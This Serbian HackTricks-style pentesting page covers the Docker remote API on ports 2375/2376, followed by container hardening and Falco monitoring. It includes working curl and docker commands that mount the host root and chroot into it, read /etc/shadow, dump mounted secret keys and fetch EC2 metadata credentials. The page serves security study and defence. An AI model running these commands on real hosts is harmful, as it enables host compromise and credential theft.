23 KiB
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju oglašenu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnove Docker-a
Šta je
Docker je vodeća platforma u industriji kontejnerizacije, koja predvodi kontinuiranu inovaciju. Omogućava jednostavno kreiranje i distribuciju aplikacija, koje se protežu od tradicionalnih do futurističkih, i obezbeđuje njihov siguran razmeštaj u različitim okruženjima.
Osnovna arhitektura Docker-a
- containerd: Ovo je osnovno izvršno okruženje za kontejnere, zaduženo za sveobuhvatno upravljanje životnim ciklusom kontejnera. To uključuje rukovanje transferom i skladištenjem slika, kao i nadzor izvršavanja, praćenja i umrežavanja kontejnera. Detaljnije informacije o containerd-u su dalje istražene.
- Container-shim ima ključnu ulogu kao posrednik u rukovanju bezglavim kontejnerima, besprekorno preuzimajući od runc-a nakon što su kontejneri inicijalizovani.
- runc: Cenjen zbog svojih mogućnosti laganog i univerzalnog izvršnog okruženja za kontejnere, runc je usklađen sa OCI standardom. Koristi ga containerd za pokretanje i upravljanje kontejnerima prema OCI smernicama, evoluirajući iz originalnog libcontainer-a.
- grpc je neophodan za olakšavanje komunikacije između containerd-a i docker-engine-a, obezbeđujući efikasnu interakciju.
- OCI je ključan za održavanje OCI specifikacija za izvršno okruženje i slike, pri čemu najnovije verzije Docker-a poštuju i OCI specifikacije za slike i izvršno okruženje.
Osnovne komande
docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
docker save -o ubuntu.tar <image> #Export an image
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
# - all stopped containers
# - all networks not used by at least one container
# - all images without at least one container associated to them
# - all build cache
Containerd
Containerd je posebno razvijen da zadovolji potrebe platformi za kontejnere kao što su Docker i Kubernetes, između ostalih. Cilj mu je olakšati izvršavanje kontejnera na različitim operativnim sistemima, uključujući Linux, Windows, Solaris i druge, apstrahirajući funkcionalnosti specifične za operativni sistem i sistemski pozivi. Cilj Containerd-a je da uključi samo osnovne funkcionalnosti potrebne korisnicima, teži da izostavi nepotrebne komponente. Međutim, potpuno postizanje ovog cilja se smatra izazovnim.
Ključna dizajnerska odluka je da Containerd ne upravlja mrežom. Mreža se smatra ključnim elementom u distribuiranim sistemima, sa složenostima kao što su definisanje mreže softverom (SDN) i otkrivanje usluga koje se značajno razlikuju od platforme do platforme. Stoga, Containerd ostavlja upravljanje mrežom da ga upravljaju platforme koje podržava.
Iako Docker koristi Containerd za pokretanje kontejnera, važno je napomenuti da Containerd podržava samo podskup funkcionalnosti Docker-a. Konkretno, Containerd nema mogućnosti upravljanja mrežom koje su prisutne u Docker-u i ne podržava direktno kreiranje Docker rojeva. Ova razlika ističe fokusiranu ulogu Containerd-a kao okruženja za pokretanje kontejnera, prepuštajući specijalizovane funkcionalnosti platformama sa kojima se integriše.
#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>
Podman
Podman je open-source kontejnerski engine koji se pridržava Open Container Initiative (OCI) standarda, razvijen i održavan od strane Red Hat-a. Izdvaja se od Docker-a sa nekoliko karakteristika, posebno svojom arhitekturom bez demona i podrškom za rootless kontejnere, omogućavajući korisnicima da pokreću kontejnere bez root privilegija.
Podman je dizajniran da bude kompatibilan sa Docker-ovim API-jem, što omogućava korišćenje Docker CLI komandi. Ova kompatibilnost se proširuje na njegov ekosistem, koji uključuje alate poput Buildah za izgradnju kontejnerskih slika i Skopeo za operacije nad slikama kao što su push, pull i inspect. Više detalja o ovim alatima možete pronaći na njihovoj GitHub stranici.
Ključne razlike
-
Arhitektura: Za razliku od Docker-ovog modela klijent-server sa pozadinskim demonom, Podman radi bez demona. Ovaj dizajn znači da kontejneri pokreću sa privilegijama korisnika koji ih pokreće, poboljšavajući sigurnost eliminacijom potrebe za root pristupom.
-
Systemd integracija: Podman se integriše sa systemd-om radi upravljanja kontejnerima, omogućavajući upravljanje kontejnerima putem systemd jedinica. Ovo se razlikuje od Docker-a koji koristi systemd uglavnom za upravljanje Docker daemon procesom.
-
Rootless kontejneri: Ključna karakteristika Podman-a je mogućnost pokretanja kontejnera pod privilegijama korisnika koji ih pokreće. Ovaj pristup minimizira rizike povezane sa napadima na kontejnere tako što osigurava da napadači dobiju samo privilegije kompromitovanog korisnika, a ne root pristup.
Podman pruža sigurnu i fleksibilnu alternativu Docker-u, naglašavajući upravljanje privilegijama korisnika i kompatibilnost sa postojećim Docker radnim tokovima.
{% hint style="info" %} Imajte na umu da, budući da Podman ima za cilj podršku istog API-ja kao Docker, možete koristiti iste komande sa Podman-om kao i sa Docker-om, kao što su:
podman --version
podman info
pdoman images ls
podman ls
{% endhint %}
Osnovne informacije
Udaljeni API podrazumevano radi na portu 2375 kada je omogućen. Usluga podrazumevano ne zahteva autentifikaciju, što omogućava napadaču da pokrene privilegovanu Docker kontejner. Korišćenjem udaljenog API-ja moguće je povezati hostove / (korenski direktorijum) sa kontejnerom i čitati/pisati fajlove u okruženju hosta.
Podrazumevani port: 2375
PORT STATE SERVICE
2375/tcp open docker
Enumeracija
Ručna
Imajte na umu da biste mogli da izlistate Docker API koristeći docker
komandu ili curl
kao u sledećem primeru:
#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}
#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
Version: 19.03.1
API version: 1.40
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:21:05 2019
OS/Arch: linux/amd64
Experimental: false
Server: Docker Engine - Community
Engine:
Version: 19.03.1
API version: 1.40 (minimum version 1.12)
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:19:41 2019
OS/Arch: linux/amd64
Experimental: false
containerd:
Version: 1.2.6
GitCommit: 894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version: 1.0.0-rc8
GitCommit: 425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version: 0.18.0
GitCommit: fec3683
Ako možete kontaktirati udaljeni Docker API pomoću docker
komande, možete izvršiti bilo koju od prethodno komentarisanih docker komandi kako biste interagirali sa servisom.
{% hint style="info" %}
Možete exportovati DOCKER_HOST="tcp://localhost:2375"
i izbeći korišćenje -H
parametra sa docker komandom.
{% endhint %}
Brzo eskaliranje privilegija
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
Curl
Ponekad ćete videti da je 2376 dostupan za TLS krajnju tačku. Nisam uspeo da se povežem sa njom pomoću docker klijenta, ali je moguće to uraditi sa curl-om.
#List containers
curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
#Get the output
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s –insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, it’s also worth checking out services in case they are adding secrets via environment variables)
curl -s –insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
Ako želite više informacija o ovome, više informacija je dostupno tamo gde sam kopirao komande: https://securityboulevard.com/2019/02/abusing-docker-api-socket/
Automatski
msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>
Kompromitovanje
Na sledećoj stranici možete pronaći načine za izlazak iz Docker kontejnera:
{% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %} docker-security {% endcontent-ref %}
Zloupotrebom ovoga je moguće izaći iz kontejnera, možete pokrenuti slab kontejner na udaljenoj mašini, izaći iz njega i kompromitovati mašinu:
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py
Eskalacija privilegija
Ako se nalazite unutar hosta koji koristi Docker, možete pročitati ove informacije kako biste pokušali da povećate privilegije.
Otkrivanje tajni u pokrenutim Docker kontejnerima
docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>
Proverite env (sekciju sa okruženjskim promenljivama) za tajne i možda ćete pronaći:
- Lozinke.
- IP adrese.
- Portove.
- Putanje.
- Ostalo... .
Ako želite da izvučete fajl:
docker cp <docket_id>:/etc/<secret_01> <secret_01>
Osiguravanje vašeg Docker-a
Osiguravanje instalacije i korišćenja Docker-a
- Možete koristiti alatku https://github.com/docker/docker-bench-security da pregledate vašu trenutnu instalaciju Docker-a.
./docker-bench-security.sh
- Možete koristiti alatku https://github.com/kost/dockscan da pregledate vašu trenutnu instalaciju Docker-a.
dockscan -v unix:///var/run/docker.sock
- Možete koristiti alatku https://github.com/genuinetools/amicontained da proverite privilegije koje će kontejner imati kada se pokrene sa različitim sigurnosnim opcijama. Ovo je korisno da biste znali posledice korišćenja određenih sigurnosnih opcija za pokretanje kontejnera:
docker run --rm -it r.j3ss.co/amicontained
docker run --rm -it --pid host r.j3ss.co/amicontained
docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained
Osiguravanje Docker slika
- Možete koristiti Docker sliku https://github.com/quay/clair da skenira vaše druge Docker slike i pronađe ranjivosti.
docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"
clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image
Osiguravanje Dockerfile-ova
- Možete koristiti alatku https://github.com/buddy-works/dockerfile-linter da pregledate vaš Dockerfile i pronađete sve vrste netačnih konfiguracija. Svaka netačna konfiguracija će dobiti ID, a ovde možete pronaći https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md kako da ispravite svaku od njih.
dockerfilelinter -f Dockerfile
- Možete koristiti alatku https://github.com/replicatedhq/dockerfilelint da pregledate vaš Dockerfile i pronađete sve vrste netačnih konfiguracija.
dockerfilelint Dockerfile
- Možete koristiti alatku https://github.com/RedCoolBeans/dockerlint da pregledate vaš Dockerfile i pronađete sve vrste netačnih konfiguracija.
dockerlint Dockerfile
- Možete koristiti alatku https://github.com/hadolint/hadolint da pregledate vaš Dockerfile i pronađete sve vrste netačnih konfiguracija.
hadolint Dockerfile
Logovanje sumnjive aktivnosti
- Možete koristiti alatku https://github.com/falcosecurity/falco da otkrijete sumnjivo ponašanje u pokrenutim kontejnerima.
- Obratite pažnju u sledećem delu kako Falco kompajlira kernel modul i ubacuje ga. Nakon toga, učitava pravila i počinje da beleži sumnjive aktivnosti. U ovom slučaju je otkriveno da su pokrenuta 2 privilegovana kontejnera, od kojih je jedan sa osetljivim mount-om, a nakon nekoliko sekundi je otkriveno kako je otvorena ljuska unutar jednog od kontejnera.
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco
Kernel preparation unnecessary for this kernel. Skipping...
Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......
DKMS: build completed.
falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory
depmod...
DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)
Praćenje Docker-a
Možete koristiti auditd za praćenje Docker-a.
Reference
- https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html
- https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite videti oglašavanje vaše kompanije u HackTricks-u ili preuzeti HackTricks u PDF formatu proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.